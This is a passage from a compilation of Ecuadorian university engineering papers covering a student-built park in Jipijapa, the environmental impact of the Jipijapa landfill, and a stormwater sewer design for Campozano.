The purpose of this research is to present the construction experience from the university. Case study UNESUM, which students have achieved in their various projects as students; made based on a learning-by-doing methodology, information based on learning by experimentation; This allows to contrast theory with practice. In a complementary way, the bibliographic review method is used to gather the most relevant information on the subject in the study. With the diagnosis and with the vision of service to the community by the State University of the South of Manabí, the project of Linking with the Society was developed: Design and construction of El Paraíso Park. It is planned by the students of the Civil Engineering School of the Faculty of Technical Sciences of the Southern State University of Manabí; said planning contains the topography of the land; The design of the park, the budget, as a contribution of the UNESUM to "El Paraíso" citadel of Jipijapa.

KEYWORDS: Experience in construction, vision of service to the community, El Paraíso

INTRODUCCIÓN

Muchos jóvenes profesionales tienen dificultad en ejercer su profesión, por cuanto las empresas constructoras y el Estado mismo les solicitan experiencia, lo que para un joven recién graduado es difícil de conseguir. La Universidad Estatal del Sur de Manabí, es un pilar fundamental en el desarrollo de País y desde esta óptica a través de los proyectos de vinculación con la sociedad apoya a los sectores lejanos y vulnerables, con diagnósticos y elaboración de proyectos para que se busque financiamiento y se logre dar un mejor estilo de vida a sus habitantes.

El ámbito y alcance del estudio se lo estableció para la Ciudadela El Paraíso de la ciudad de Jipijapa.

El objetivo consiste en obtener experiencia en construcción desde la universidad. Caso de estudio UNESUM; lo que se complementa con:

- Ejecutar la obra de acuerdo a lo planificado.
- Ejecutar el proyecto en base a lo presupuestado.
- Contrastar la teórica con la práctica.

MATERIALES Y MÉTODOS

El presente trabajo fue realizado en base a la aplicación, experimentación y observación de un proyecto de vinculación ejecutado por estudiantes de la Universidad Estatal del Sur de Manabí.

Se utilizó metodología aprender haciendo, información basada en aprendizaje por experimentación; esto permite contrastar la teoría con la práctica.

De forma complementaria se utilizó el método de la revisión bibliográfica para recopilar la información más relevante sobre el tema en estudio. Para la localización de los documentos bibliográficos se utilizaron varias fuentes documentales.

RESULTADOS Y DISCUSION

El panorama general de las construcciones es diverso y de una gran complejidad. Estas dos características se originan, por un lado, en la gran cantidad de elementos humano y materiales que es necesario reunir para lograr su ejecución, y por el otro, en la variada gama de relaciones de estos elementos entre sí y las actividades mismas a que dan lugar. Estas circunstancias ocasionan que, en determinados momentos, en la ejecución de una obra, no se vea claro cuál puede ser el camino para adelantarla de una manera técnica, racional y ordenada.

El aspecto exterior de las obras, además, da la apariencia, muchas veces se ve algo caótico y de difícil ordenación para una gran cantidad de casos, sin embargo, esto no pasa de ser una apariencia. En medio de todos los elementos que concurren para la realización de una construcción, no sólo es posible sino imperiosamente necesario encontrar un orden de ejecución que permita llevar las obras ordenadas, metódicas y funcionales.

La experiencia en construcción de obra consiste en la ejecución del proyecto de vinculación con la sociedad, específicamente el proyecto:

- Diseño y construcción de parque El Paraíso.

Esto se inició con el diagnóstico de la zona de estudio, el cual arrojó como resultado que la población en estudio tenía necesidades básicas insatisfechas por ser población marginal donde las Instituciones del estado que tienen las competencias no ejecutan obras.

Con este diagnóstico y con la visión de servicio a la comunidad por parte de la Universidad Estatal del Sur de Manabí, se elaboró el proyecto de Vinculación con la Sociedad denominado: Diseño y construcción de parque El Paraíso. El mismo se planificó por parte de los estudiantes de la carrera de Ingeniería Civil de la Facultad de Ciencias Técnicas de la Universidad Estatal del Sur de Manabí; dicha planificación contiene la Topografía del terreno; el diseño del parque, el presupuesto, como aporte de la UNESUM a la Ciudadela El Paraíso de Jipijapa.

La comunidad entusiasmada con este proyecto aportó con mano de obra, el GAD Municipal de Jipijapa apoyo con maquinarias y materiales; y los estudiantes con el conocimiento y las ganas de experimentar y realizar su primera obra.

El propósito del proyecto se logró y como resultado se obtuvo la obra: Diseño y construcción de parque El Paraíso.

Discusión

El estudio confronta el conocimiento adquirido en las aulas universitarias con la práctica, para medir los logros y resultados de aprendizajes, lo cual se refleja en la experiencia adquirida en todo el proceso, es decir desde la planificación hasta la ejecución, en cuyo trayecto los estudiantes encontraron diversos problemas los cuales tuvieron que solucionarlos para poder lograr la meta la Construcción del Parque El Paraíso.

CONCLUSIONES.

La experiencia que requieren de los profesionales jóvenes si la tiene, ya que ellos en su etapa de formación profesional logran realizar diversos proyectos, ya sea de investigación, de Prácticas Preprofesionales y de Vinculación con la Sociedad; lo que significa que debe regularizarse o formalizar esas primeras experiencias para que ellos puedan iniciar sin inconvenientes su vida profesional y retribuir al Estado con productividad lo que se invirtió en su Educación.

REFERENCIAS BIBLIOGRÁFICAS

Glenn A. Welsch. (2005). Presupuesto Planificación y Control. México. Enrique Quintanar Duarte.

José Edmundo fuentes Guzmán. (2012). Topografía. Estado de México. Eduardo Duran Valdiviezo.

Weston J Fred. (1998). Planificación Financiera. México. 1148pp.

Raúl Coss Bu. (1981). Análisis y Evaluación de Proyectos de Inversión. México. Limusa.

ANÁLISIS DEL MANEJO E IMPACTO AMBIENTAL EN EL RELLENO SANITARIO DEL CANTÓN JIPIJAPA

Ing. Glider Nunilo Parrales Cantos

Ing. Jonathan René Moreira Zambrano

Srta. Lisbeth Michelle Baque Pihuabe

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

RESUMEN

La basura es un subproducto de todas las actividades del hombre. En los albores de la humanidad se producían solo desechos biodegradables, pero con la aparición de la tecnología y la modernidad ya surgen otros tipos de desechos, lo cual ha originado un serio problema a las grandes ciudades y por ende a los países y sus poblaciones, las que prácticamente vivirían sumergidas en desechos y residuos, de no existir un adecuado manejo de estos.

El problema es su disposición final, por lo cual se han efectuado un sinnúmero de métodos para resolverlo, creándose los botaderos de basura que observamos en la entrada o salida de cada pueblo, los cuales no constituyen solución si no que se transforman en otro problema de contaminación. Luego se creó el relleno sanitario, que consiste en enterrar estos desechos, pero tampoco es la solución perfecta, si no se hace adecuadamente aplicando las nuevas tecnologías.

En la ciudad de Jipijapa, provincia de Manabí - Ecuador, desde el año 2008 existe un relleno sanitario que al no ser operado con normas técnicas adecuadas, ha pasado a constituirse en un botadero más de basura sin cumplir el objetivo porque fue creado, es decir dar una adecuada disposición final.

El objetivo principal del presente trabajo es evaluar el Impacto Ambiental del Manejo del Relleno Sanitario y sus efectos en el entorno, mediante el cual se encontrarán las causas y la solución para mitigar la contaminación ambiental que se produce.

PALABRAS CLAVES: residuos, basura, mitigación, lixiviado, contaminación.

SUMMARY

Garbage is a by-product of all man's activities. At the dawn of mankind, only biodegradable waste was produced, but with the appearance of technology and modernity, other types of waste have already emerged, which has caused a serious problem for the big cities and therefore for the countries and their populations, those that practically would live submerged in waste and residues, of not existing an adequate handling of these.

The problem is its final disposal, which is why there have been countless methods to solve it, creating garbage dumps that we observe at the entrance or exit of each town, which are not a solution if they are transformed into another problem of pollution. Then the sanitary landfill

was created, which consists in burying these wastes, but it is not the perfect solution either, if it is not done properly applying the new technologies.

In the city of Jipijapa, province of Manabí - Ecuador, since 2008 there is a sanitary landfill that, due to not being operated with adequate technical standards, has become a garbage dump without fulfilling the objective because it was created, that is, give a proper final disposition.

The main objective of this work is to evaluate the Environmental Impact of Sanitary Landfill Management and its effects on the environment, through which will be found the causes and the solution to mitigate the environmental pollution that occurs.

KEYWORDS: waste, garbage, mitigation, leachate, pollution.

INTRODUCCIÓN

La producción de basura doméstica, comercial e industrial, en las ciudades se ha transformado en un problema para los municipios que tienen que diariamente evacuar, recolectar, transportar y desechar adecuadamente miles de toneladas de desechos sólidos y líquidos, de origen animal, vegetal y hasta mineral.

Para tal efecto, actualmente las técnicas modernas aconsejan que dichos sólidos sean enterrados, en terrenos debidamente adecuados, los cuales se denominan rellenos sanitarios, puesto que en términos generales la basura se utiliza como relleno.

Los grandes volúmenes de estos desechos han coadyuvado a que los Municipios diseñen y ejecuten grandes proyectos de relleno sanitario, con el objetivo de cobertura, recolección, clasificación, tratamiento y disposición final de todo de tipo desechos, evitando así la contaminación ambiental por mal manejo de la basura. Un relleno sanitario comprende una fosa con una base revestida donde se entierran los desechos en capas, se compactan (se aplastan para hacerlos más sólidos) y finalmente se cubren. Un relleno sanitario puede reducir el daño de los desechos que recibe, y es más seguro que un basurero al aire libre. Sin embargo, incluso los mejores rellenos sanitarios se llenan y después de muchos años probablemente comiencen a filtrarse productos tóxicos desde ellos. Para resolver el problema de los desechos, debemos en primer lugar evitar su producción.

Es difícil que un basurero al aire libre pueda convertirse en un relleno sanitario. Otra posibilidad es que las comunidades construyan un nuevo relleno sanitario y limpien el antiguo lugar, transportando la basura al nuevo. Para que proteja la salud de la comunidad, el relleno sanitario debe:

- Construirse lejos de las zonas residenciales.
- Cubrirse para evitar la reproducción de los insectos y otros animales portadores de enfermedades.
- Dotarse de un revestimiento de arcilla bien prensada o plástico para evitar que las sustancias químicas y los microbios contaminen el agua subterránea.

La construcción y mantenimiento de un relleno sanitario exige mucho trabajo y por lo general es una tarea que se realiza mejor en conjunción con la comunidad, el gobierno local y otros organismos como iglesias o empresas.

Un relleno sanitario protege la salud de la comunidad sólo si su administración es adecuada, para lo cual debe incluir la capacitación y el apoyo de los empleados del relleno, y el trabajo conjunto con los centros de recuperación de recursos, los recolectores de desechos tóxicos y las autoridades locales.

El ministerio de Desarrollo Urbano y Vivienda mediante convenio con el municipio de la ciudad de Jipijapa, en el año 2008, comprometió una asignación de 675.000 dólares para un plan de gestión integral de residuos sólidos de esta ciudad,

El proyecto fue diseñado para una cobertura de 15 años (2008-2023), para así beneficiar a una población urbana de 50.011 habitantes y a 23.751 habitantes en la zona rural, adyacentes a la ciudad de Jipijapa, que también se beneficiarían de este proyecto, parroquias tales como la Unión, El Anegado, La América, Puerto Cayo, Membrillal, Julcuy. etc.

La cobertura proyectada es del 90 por ciento en el 2008 a 98 por ciento en el 2023. En el marco legal del plan se contempló la elaboración de una ordenanza de la gestión integral de residuos sólidos del cantón que regule las actividades y procesos a efectuarse para conseguir la mejora del servicio, y una que regule el manejo integral de los desechos biopeligrosos. Pero en los actuales momentos el Relleno sanitario está produciendo impactos ambientales debido a un mal manejo operativo que está ocasionando contaminación en las áreas aledañas al sector, y por lo tanto no está cumpliendo con el objetivo que fue creado.

En tales circunstancias, la elaboración de un estudio de impacto ambiental, determinara las causas que han impedido la consecución del objetivo trazado; así como los efectos y las mitigaciones, que se deben emprender de inmediato con la finalidad de mitigar el daño ambiental causado por la mala disposición de la basura.

En el Manejo de la Planta de Tratamiento de desechos sólidos a través de este estudio se determinarán las causas y efectos que han ocasionado el impacto ambiental a las zonas aledañas al relleno sanitario, para luego elaborar un plan que mitigará el impacto ambiental ocasionado por el inapropiado manejo del Relleno Sanitario en la ciudad de Jipijapa.

Una vez realizada la Evaluación del Manejo del Relleno Sanitario se podrán aplicar metodologías que mejoren el tratamiento de desechos sólidos y disminuir la contaminación ambiental.

MATERIALES Y MÉTODOS

El trabajar en campo y oficina, fue lo que hizo factible esta investigación, la cual se realizó sobre el botadero de desechos sólidos del Cantón Jipijapa, provincia de Manabí localizado a 1.5 km de la ciudad, antes de entrar a la misma, viniendo desde Guayaquil.

Nos basamos en la metodología del estudio científico aplicando los métodos:

- Científico analítico.
- Deductivo inductivo.
- Estudio exploratorio, descriptivo, correlacional y explicativo
- El estudio se realizó sobre un universo del 100% del terreno servible para disponer la basura que llega de la ciudad de Jipijapa y sus parroquias.

- El diseño de investigación, es No Experimental, y se utilizó la metodología para la aplicación de un plan de Seguridad Ambiental.
- Visitas de campo para verificar la información.

RESULTADOS Y DISCUSIÓN

El relleno Sanitario está ubicado al sur de la ciudad de Jipijapa en la vía Jipijapa Guayaquil en el km 1,5, desde que se inauguró este sitio, se calcula que se han recibido aproximadamente, 30.0 toneladas / día, lo cual significan aproximadamente 65.700,00 toneladas de desechos de toda índole. Estos desechos sólidos son provenientes no solo de la ciudad de Jipijapa, si no de los cantones y parroquias cercanas. El municipio cuenta para esta gestión con 3 recolectores una excavadora y 3 volquetas, el relleno sanitario en los actuales momentos tiene una cobertura de 10 metros no se está cumpliendo las especificaciones técnicas de la debida compactación de celdas cada 20 o 40 cm. La generación diaria de residuo se estima 30 toneladas valor obtenido a partir de la determinación de la generación per capital actual de 0.57 kg/hab/ día del área urbana y 0.51 k/hab/día del área rural.

CLASIFICACIÓN DE DESECHOS DIARIOS (30,00 TONELADAS /DÍA)

Tabla 1. Clasificación diaria de la basura en el relleno sanitario de Jipijapa.

TIPO DE BASURA	Kilos/día	%
Orgánica	26.700,00	89,00
Plástico	1.200,00	4,00
Metal	39,00	0,00
Cartón y papel	1.311,00	4,00
Vidrio	150,00	1,00
Hospitalarios	600,00	2,00
Total	30.000,00	100,00

Fuente: Datos de la investigación. Elaborado por: Ing. Glider Parrales.

Fuente: Datos de la investigación. Elaborado por: Ing. Glider Parrales.

Análisis: Diariamente en el cantón del total que se recoge de residuos el 89% son residuos orgánicos, el 4% cartón y papel, el 4% plástico, el 2% otros, 1% vidrio.

CANTIDAD DE LIXIVIADOS.

Se calcula (no hay datos oficiales), que diariamente se producen entre 300 a 500 litros de líquido lixiviado, dependiendo de la acción de descomposición de desechos, y por escorrentía. El mismo que se recoge en una piscina de 500 m³ de capacidad., donde por simple evaporación, se puede decir que se trata. Hay otra piscina, de similar capacidad, la misma que hasta la fecha no ha sido puesta en funcionamiento.

ResidentesLa población urbana es de 50011 habitantes y rural 23751 habitantes la población cuenta con el 435 de población menores de 20 años

Tabla 2. Población del Cantón Jipijapa

CANTÓN	PARROQUIA	URBANO	RURAL	TOTAL
JIPIJAPA	América	-	3.060	3.060
	El anegado	-	7664	7664
	Jipijapa	50011	-	50011
	Julcuy	-	2.175	2.175
	La Unión	-	1.941	1.941
	Membrillal	-	1.005	1.005
	Pedro Pablo Gómez	-	3.564	3.564
	Puerto Cayo	-	4342	4342
	Total	50011	23751	73762

Fuente: Censo INEC 2010. Elaborado por: Ing. Glider Parrales

Tabla 3. Entorno social, administrativo y laboral Relleno.

Administración	Toala Quijije José
	Murillo Quiroz María
	Choez Eduardo Luis
Seguridad	Parrales Arce Juan
	Segovia Marcos
	Lino Carlos
	Endara José Francisco

Recolectores	José Alfredo Lino Pilay
	Carlos Navarrete Cedeño
	Pedro Parrales Lucas
	Quimís Lucas Esther
	Anzules Lino Mabel

Fuente: Datos de la investigación. Elaborado por: Ing. Glider Parrales.

CASERÍO

A unos 300 metros del relleno sanitario, existe un pequeño caserío, habitado en su mayoría por parientes Lino Lucas.

Aquí apreciamos el caserío, de no más de 12 casas y 57 habitantes, en su mayoría emparentados con la familia Lino, Lucas. Se conforman por 37 adultos mayores y 20 niños menores de 12 años.

HABITANTES DEL CASERÍO

ADULTOS	CANTIDAD	NIÑOS	CANTIDAD
VARONES	15	VARONES	8
MUJERES	22	MUJERES	12

Fuente: Datos de la investigación. Elaborado por: Ing. Glider Parrales Cantos

Fuente: Datos de la investigación. Elaborado por: Ing. Glider Parrales

Fuente: Datos de la investigación. Elaborado por: Ing. Glider Parrales.

ENFERMEDADES PADECIDAS EN UN PERIODO DE 3 AÑOS.

ENFERMEDADES	CASOS A MAYO 2014	%
De la piel	107	39,00
Infecciones urinarias	26	10,00
Infecciones intestinales	87	32,00
Cáncer	9	3,00
Diabetes	12	4,00
Tuberculosis	2	1,00
Úlcera-gastritis	29	11,00
TOTAL	272	100,00

Fuente: Datos de la investigación. Elaborado por: Ing. Glider Parrales.

Análisis: El 39% poseen enfermedades de la piel, el 32% intestinales, el 11% úlcera, el 10% infecciones urinarias, el 4% diabetes, el 3% cáncer, el 1% tuberculosis.

PLAN DE MANEJO AMBIENTAL

Denominamos Plan de Manejo Ambiental (PMA), al programa que, de manera concisa y detallada, establece las acciones que se requieren para prevenir, mitigar, controlar, compensar y corregir los posibles efectos o impactos ambientales negativos causados durante el desarrollo de un proyecto, obra o actividad. También incluye los planes de seguimiento, evaluación, monitoreo y los de contingencia. Para el estudio se elaborará un programa de prevención y mitigación por impacto, que son un conjunto de medidas y obras a implementar antes de la ocurrencia de un desastre, con el fin de disminuir el impacto sobre los subsistemas del MEDIO FÍSICO.

Se determina los impactos sobre los medios y recursos ambientales más afectados por el botadero de basura objeto del presente estudio.

Según el acuerdo 006 del Ministerio del Ambiente de febrero del 2014, se sugiere que el plan de manejo ambiental debe contener los siguientes planes:

- Plan de análisis de riesgos y de alternativas de prevención, PAR.
- Plan de Prevención y Mitigación de Impactos, PMI.
- Plan de Manejo de Desechos, PMD.
- Plan de Comunicación y Capacitación, PCC.
- Plan de Relaciones Comunitarias, PRC.
- Plan de Contingencias, PDC.
- Plan de Seguridad y Salud Ocupacional, PSS.
- Plan de Monitorio y Seguimiento, PMS.
- Plan de Rehabilitación, PRA.
- Plan de Cierre, Abandono y Entrega de área, PCA

Debemos de considerar los Pasivos Ambientales y son aquellos daños ambientales y/o impactos ambientales negativos no reparados o restaurados respectivamente, o aquellos que han sido intervenidos previamente, pero de forma inadecuada o incompleta y continúan estando presentes en el ambiente constituyendo un neso para cualquiera de sus componentes, generados por una obra, proyecto o una actividad productiva o económica en general.

Un Plan de Manejo de desechos (PMD), comprende las medidas y estrategias concretas a aplicarse en proyectos, obras u actividades para prevenir, tratar, reciclar/ rehusar y disponer los diferentes desechos peligrosos y no peligrosos.

Para satisfacer de manera ordenada los objetivos del PMA en concordancia con lo determinado en el TULSMA se propone lo siguiente:

- Programa de Prevención y Mitigación por Impacto: En las que se plantean las acciones de manejo ambiental de forma individual para cada impacto identificado y evaluado. La descripción de estas medidas por impacto, es el Programa de Prevención y Mitigación de Impactos serán de utilidad para las instancias que realizan seguimiento a la aplicación de las mismas. Estas medidas han sido organizadas como fichas, para cada impacto ambiental.
- Programas Ambientales (PA): Estos programas se constituyen en instrumentos de manejo ambiental de aplicación directa. Entre otros se puede elaborar lo siguiente:

Pa1: programa de información pública, educación y concienciación ambiental

Pa2: programa de ejecución de obras, operación de maquinarias, señalización ambiental, seguridad vial en sectores críticos del proyecto

Pa3: programa de recuperación de áreas de préstamos y fuentes de materiales y control de la erosión

Pa4: programa de manejo de escombros y desechos inertes.

Pa5: programa de desechos sólidos y líquidos a través de gestores ambientales calificados.

Pa6: programa de contingencias.

Pa7: programa de salud ocupacional y seguridad industrial.

Pa8: programa de control en procesos en la elaboración de celdas

CONCLUSIONES Y RECOMENDACIONES

CONCLUSIONES

Se estima la cantidad de desechos sólidos que se genera en el relleno sanitario y a su vez se clasificó los desechos sólidos en: Orgánicos, Plástico, Metal, Cartón y papel, Vidrio y otros.

Se determinó un cálculo aproximado de lixiviados (no hay datos oficiales), que diariamente se producen entre 300 a 500 litros de lixiviado, generado por Desechos Sólidos por la acción del tratamiento que deriva en descomposición y por escorrentías de aguas pluviales, No existe manejo adecuado de lixiviados, por lo tanto, en la actualidad es una fuente de contaminación más.

Se registró el Impacto que produce el manejo inapropiado del relleno sanitario en el entorno, en las personas que manejan el Relleno.

RECOMENDACIONES

Una vez verificado la cantidad de Residuos Sólidos que llega al relleno sanitario se recomienda una clasificación rigurosa de los desechos

Se recomienda aplicar una metodología administrativa que permita que el proceso de descomposición se cumpla

S recomienda aplicar metodologías de cálculo de cantidad de lixiviados tanto en el relleno en operación como en el cierre.

Aplicar el Plan de acción para mitigar el impacto ambiental, generado en la zona

Remediar los daños ambientales generados por el Impacto producido al no aplicar los planes propuesto para el manejo del mismo

REFERENCIAS BIBLIOGRÀFICAS

AMERICAN PUBLIC WORKS ASSOIATION. - Tratamiento de los Desechos Residuales Urbanos. Madrid 1976.

Dau Augusto, evaluación del impacto ambiental del tratamiento de lixiviado del botadero de basura de la ciudad de Yaguachi, y propuesta de aplicación de un plan de manejo ambiental de basuras ,2013

BUSTOS F. Manual de Gestión Ambiental. Industrias Gráficas. 2007.

CANTER L.W. 1998: Manual de Evaluación de Impacto Ambiental. McGraw-Hill. Segunda Edición. Impreso en España.

CONSTITUCIÓN DE LA REPÚBLICA DEL ECUADOR. Año 2008

OPS/CEPIS/PUB. /02.93. Jaramillo J.- Guía para el diseño, construcción y Operación de Rellenos Sanitarios Manuales. Lima Perú

RED DE ALCANTARILLADO PLUVIAL PARA LA CABECERA PARROQUIAL DE CAMPOZANO, DEL CANTÓN PAJÁN, PROVINCIA DE MANABÍ.

Mg.Sc. Ing. Eduardo Luciano Parrales Parrales

Garcia Leon Maria Jose

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Correo: majogleon@gmail.com

Teléfono:0997574105

RESUMEN

Las aguas lluvias son producto de precipitaciones climatológicas y escorrentías de laderas, contienen una mezcla de materiales producto de las escorrentías y desperdicios de diferentes tipos. En la zona rural, cabecera parroquial Campozano, las aguas lluvias provocan problemas de estancamiento e inundación en su parte céntrica. Generando inconvenientes en esta parroquia, principalmente en la proliferación de vectores a causa de estancamientos de aguas.

Mediante este proyecto se realizó el diseño de alcantarillado de aguas lluvias. Inicialmente se detallan las condiciones geográficas, climatológicas, poblacionales entre otras características de la Cabecera Parroquial Campozano.

SUMMARY

The rainwater is the product of climatic precipitation and runoff from hillsides, containing a mixture of materials from runoff and waste of different types. In the rural area, Cabecera Parroquial Campozano, the rainwater causes problems of stagnation and flooding in its central part. Generating inconveniences in the decoration of the rural area and proliferation of gastrointestinal diseases in the residents of this sector.

Through this project, the sewage design of rainwater was carried out. Initially the geographic, climatological, and population conditions among other characteristics of the Campozano Parochial Head are detailed.

INTRODUCCIÓN

La proyección de una red de alcantarillado pluvial en lugares poblados, se enmarca a manipular y evacuar adecuadamente las aguas lluvias que puedan ser perjudiciales en la salud de los habitantes, que provocan molestias por estancamientos en calzada y destrucción de las mismas, provocando mayor caudal en las aguas residuales provocando rebosamientos, las mismas que ayudan a la proliferación de enfermedades infectocontagiosas. El proyecto está enmarcado al desarrollo del diseño de los conductos de aguas pluviales, teniendo en consideración de esta manera no afectar al medio ambiente.

OBJETIVO GENERAL

Diseñar la red de alcantarillado pluvial para la Cabecera Parroquial de Campozano, del Cantón Paján, Provincia de Manabí.

OBJETIVOS ESPECIFICOS

- Obtener las bases de diseño y los parámetros hidráulicos óptimos para el sistema de alcantarillado pluvial.
- Crear un modelo hidráulico para el diseño de la red de alcantarillado pluvial mediante el programa SewerCAD.
- Realizar el presupuesto referencial y detalles en planos para su ejecución.

OBJETIVO 1

Obtener las bases de diseño y los parámetros hidráulicos óptimos para el sistema de alcantarillado pluvial.

Bases de diseño del proyecto

Los parámetros y bases de diseño han sido seleccionados cumpliendo con lo que establecen las Normas de Diseño del ex Instituto Ecuatoriano de Obras Sanitarias IEOS (INEN NORMA CO 10.7 – 601 y NORMA CO 10.7 - 602). La selección de estos parámetros definirá el tamaño del sistema y como consecuencia lógica determinará los costos tanto de inversión como de operación y mantenimiento.

Periodo de retorno

El período de retorno de un evento hidrológico se calcula como la inversa de la probabilidad de excedencia anual y representa el intervalo de tiempo promedio (en sentido probabilístico) dentro del cual ese evento puede ser igualado o excedido.

La norma del ex IEOS para caudales pluviales recomienda los siguientes periodos de retorno:

Tabla 15. Periodo de retorno en función del drenaje

Descripción	Período de retorno
Micro drenaje	2 - 10 años
Macro drenaje	≥ 50 años

Fuente: (SENAGUA, 2011)

Tabla 16. Períodos de retorno para diseño de estructuras menores

tipo de estructura	T (años)
Alcantarillado en caminos secundarios, drenaje de lluvia o contra cunetas	5 a 10
Drenaje lateral de los pavimentos, donde pueden tolerarse encharcamientos causados por lluvias de corta duración	1 a 2
Drenaje de aeropuertos	5
Drenaje urbano	2 a 10

Fuente: (Comisión Nacional del Agua, 2007)

Tabla 17. Usos del suelo y períodos de retorno recomendados

TIPO DE USO DEL SUELO	T(años)
Zona de actividades comerciales	5
Zona de actividad industrial	5
Zona de edificios públicos	5
Zona residencial multifamiliar de alta densidad*	3
Zona residencial unifamiliar y multifamiliar de baja densidad	1.5
Zona recreativa de alto valor e intenso uso por el público	1.5
Otras áreas recreativas	1

*Alta densidad ≥ 100 hab/h

Fuente: (Comisión Nacional del Agua, 2007)

Tabla 18. Tipo de vialidad y períodos de retorno recomendados

TIPO DE VIALIDAD	T(años)
Arteria.- Autopistas urbanas y avenidas que garantizan la comunicación básica de la ciudad	5
Distribuidora.- vías que distribuyen el tráfico proveniente de la vialidad arterial o que la alimentan.	3
Local._ avenida y calle cuya importancia no traspasa la zona servida	1.5
Especial.- Acceso e instalaciones de seguridad nacional y servicios públicos vitales	10

Fuente: (Comisión Nacional del Agua, 2007)

Caudales de diseño

Para estimar el gasto producido por una lluvia sobre una cuenca, existen diferentes métodos, los cuales se clasifican en (Comisión Nacional del Agua, 2007)

- Métodos directos o empíricos. - Consideran que el escurrimiento provocado por una tormenta es función, principalmente, de las características físicas de la cuenca; ejemplo de estos métodos, son: el racional y gráfico alemán.
- Métodos hidrológicos. - Consideran que existe una relación funcional, generalmente lineal, entre la distribución de la lluvia en el tiempo y el Hidrograma a la salida de la cuenca. Dicha relación funcional se basa en principios hidrológicos y puede calibrarse con registros simultáneos de lluvias y escurrimientos en la cuenca que se estudia, sin considerar explícitamente sus características físicas.
- Métodos hidráulicos. - Estiman el Hidrograma en las diferentes partes de la cuenca en estudio mediante las ecuaciones de conservación de la masa y la cantidad de movimiento con diversos grados de simplificación, considerando explícitamente las características físicas de la cuenca. Ejemplo de este método es el de Chicago.

La norma del ex IEOS sugiere los siguientes métodos para el cálculo del caudal de escurrimiento superficial, en función del área:

Tabla 19. Método de cálculo del caudal en función del área de aporte

Método	Área
Racional	$A \leq 100 \text{ ha}; \quad A \leq 5 \text{ km}^2$
Hidrograma unitario sintético	$A \geq 100 \text{ ha}$
Análisis estadístico	$A \geq 25 \text{ km}^2$

Fuente: (SENAGUA, 2011)

Para nuestro caso utilizaremos el método racional que se detalla a continuación.

Método Racional

Este método permite determinar el gasto máximo provocado por una tormenta, suponiendo que esto se alcanza cuando la intensidad de lluvia es aproximadamente constante durante una cierta duración, que se considera es igual al tiempo de concentración de la cuenca. (castillo, 2012)

Para el cálculo del caudal de diseño de aguas lluvias se utilizará el método racional, valido para cuencas de drenaje con una superficie inferior a 100 ha., que utiliza la siguiente expresión de cálculo:

$$Q = C * I * A$$

Tiempo de concentración

El tiempo de concentración es el lapso necesario para que la escorrentía pluvial llegue desde el punto más alejado del área tributaria al punto considerado en el diseño, está compuesto de dos partes:

$$T_c = T_e + T_t$$

Análisis sobre el material de los colectores

Los tipos de colector tradicionales en el medio son los de hormigón simple o armado y los de materiales termoplásticos (PVC).

Para el cálculo de la capacidad hidráulica, se utiliza la fórmula de Manning.

$$Q = \frac{A^{5/3} * \sqrt{i}}{n * P^{2/3}}$$

Donde:

Q: Caudal conducido por el colector (m³/s)

A: Área de la sección transversal mojada m²

i: Pendiente geométrica del colector (m/m)

n: Coeficiente de rugosidad P: Perímetro mojado (m)

Para el cálculo de la velocidad se ha empleado la fórmula de Manning, cuya expresión es:

$$V = \frac{J^{\frac{1}{2}} * R h^{0.667}}{n}$$

Régimen de flujo en los colectores

Para cada condición de diámetro y caudal, se calcula el calado crítico para un conducto circular, empleando la ecuación:

$$y_c = 0.483 * \left(\frac{Q}{D}\right)^{2/3} + 0.083 * D$$

Donde:

Y_c : calado crítico en un conducto circular (m)

Q : caudal (m³/s)

D : diámetro de la tubería

OBJETIVO 2

Crear un modelo hidráulico para el diseño de la red de alcantarillado pluvial mediante el programa SewerCAD.

Una vez obtenido las bases de diseño y los parámetros hidráulicos óptimos para el sistema de alcantarillado pluvial del presente proyecto de titulación, se procede a establecer un modelo de la red de alcantarillado pluvial mediante Sewercad, el cual es plenamente ideal para el diseño de sistemas y rehabilitación de alcantarillado.

OBJETIVO 3

Realizar el presupuesto referencial y detalles en planos para su ejecución

Una vez culminado el diseño hidráulico de la red de alcantarillado pluvial AA.LL, se procede a elaborar los análisis de precios unitarios para obtener el presupuesto referencial de la obra.

MATERIALES Y MÉTODOS

Materiales

Equipos topográficos

- Estación total,
- GPS,
- Prisma,
- Jalón,
- Cinta,

Equipos fotográficos

- Cámara fotográfica

Equipo informático

- Computadora, Programas (Excel, Word, AutoCAD, CivilCAD, Civil3D, SewerCAD, Internet)

Métodos

Para el diseño pluvial de la Cabecera Parroquial Campozano del Cantón Paján, se utilizaron los métodos científicos, históricos, descriptivos y estadísticos.

El **método científico** permitió realizar una recopilación bibliográfica de artículos y temas (internet, libros) relacionados con el tema a investigar lo cual sirvió para fundamentar el marco teórico y conocer de manera específica la importancia de la planificación del diseño del sector.

El **método histórico** nos ayudó a analizar e incorporar en la investigación información histórica del problema en mención.

El **método descriptivo** detalla situaciones, eventos, personas y comportamientos de la situación actual como las mayores precipitaciones dadas en el lugar.

CONCLUSIONES

- En base a los parámetros de diseño, y parámetros hidráulicos aplicados en el presente trabajo, se garantiza que el sistema diseñado dará un buen servicio a los habitantes de la cabecera parroquial de Campozano, básicamente evitando inundaciones en las calles y principalmente en domicilios, locales comerciales, etc. a causa de precipitaciones que en épocas lluviosas se presentan.
- Con la aplicación del modelo para simulación del diseño en SewerCAD, se obtuvieron excelentes resultados, ya que nos permite conocer el comportamiento hidráulico de un sistema que nos sirve para la captación, evacuación y disposición final de las aguas lluvias, que serán enviadas a diferentes puntos del terreno, que se detallan en los planos.
- En lo relacionado al costo de la obra, se puede afirmar que este no tiene un costo elevado, ya que se evitó profundidades mayores en el rubro de excavación y consecuentemente en los rubros relleno y desalojo de material.
- La topografía en la población de Campozano favoreció en la elaboración del diseño, en razón que se pudo considerar cinco descargas para un rápido drenaje.

RECOMENDACIONES

- Este estudio debería ser considerado en el POA del próximo año del GAD del cantón Paján, para su inmediata construcción en virtud que ayudara a mejorar la calidad de vida de esta población.
- El contratista que presente su oferta deberá tener en cuenta las especificaciones dadas para cada elemento y en el caso de que no fuera posible cumplir con las mismas deberá informar a la fiscalización para determinar alternativas que no afecten el proyecto.
- Previo a la construcción del alcantarillado pluvial, se debe incluir la identificación y evaluación de los posibles impactos ambientales que podrían generarse hacia el medio ambiente

- Antes del inicio de los trabajos y la operación del sistema, se deberán realizar charlas informativas a los pobladores de esta parroquia, para aclarar las dudas y hacer recomendaciones para garantizar el funcionamiento óptimo del sistema.

